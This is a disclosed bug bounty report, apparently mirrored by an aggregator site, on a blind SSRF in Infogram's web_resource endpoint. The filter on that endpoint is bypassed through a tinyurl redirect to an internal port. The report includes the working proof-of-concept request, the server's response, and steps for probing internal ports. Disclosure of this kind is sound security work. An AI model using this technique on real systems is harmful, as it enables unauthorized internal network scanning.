Internal Ports Scanning via Blind SSRF (URL Redirection to beat filter)
The web_resource API endpoint was vulnerable to blind SSRF because its filter could be bypassed using a URL redirection service. An attacker could scan internal ports by supplying a shortened URL that redirects to an internal address.
Originally disclosed on HackerOne
- Triaged in 30 hours
- Fixed in 3 days
- Disclosed after 3 days
Summary
This is a blind SSRF that lets you scan internal ports.
Technical Details
Inspired by #281950, I found a way to evade the filter for the api endpoint web_resource by using a URL Redirection service. I used tinyurl to create a url that linked to http://0:6000/ (any port would work here).
Proof of Concept
https://infogram.com/api/web_resource/url?q=https://tinyurl.com/ybk7sqrg
Response:
HTTP/1.1 200 OK
Date: Sun, 05 Nov 2017 02:42:03 GMT
Content-Type: application/json; charset=utf-8
Connection: close
Server: nginx
Vary: Accept-Encoding
X-DNS-Prefetch-Control: off
Strict-Transport-Security: max-age=31536000
X-Download-Options: noopen
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer
X-Frame-Options: SAMEORIGIN
ETag: W/"fd-LAmakEWFfBZbQhSwn4nbeuTsy48"
X-Infogram-Server: b201
X-Infogram-Proxy: us
Content-Length: 253
[{"title":"Create Infographics, Charts and Maps - Infogram","description":"Infogram is an easy to use infographic and chart maker. Create and share beautiful infographics, online charts and interactive maps. Make your own here.","url":"http://0:6000/"}]
I'm not sure if that tinyurl sticks around, but it's trivial to make another one using the information above.
Mitigation
Alter your filter so that it follows redirects until it lands on an actual URL, then check that URL.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the SSRF filter only checked the initial URL and did not follow redirects to validate the final destination.
Impact
An attacker could scan internal ports, potentially revealing services not meant to be exposed.
What the attacker needed
Access to the web_resource endpoint; ability to create a shortened URL
How it was found
- Create a shortened URL that redirects to an internal address and port.
- Send a request to the web_resource endpoint with the shortened URL as the query parameter.
- Observe the response to infer whether the internal port is open.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A blind SSRF is a flaw where a server can be tricked into making requests to other systems, but the attacker cannot see the response. Here, the server fetched a shortened URL that redirected to an internal address, letting the attacker probe internal ports.
What is SSRF?
The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.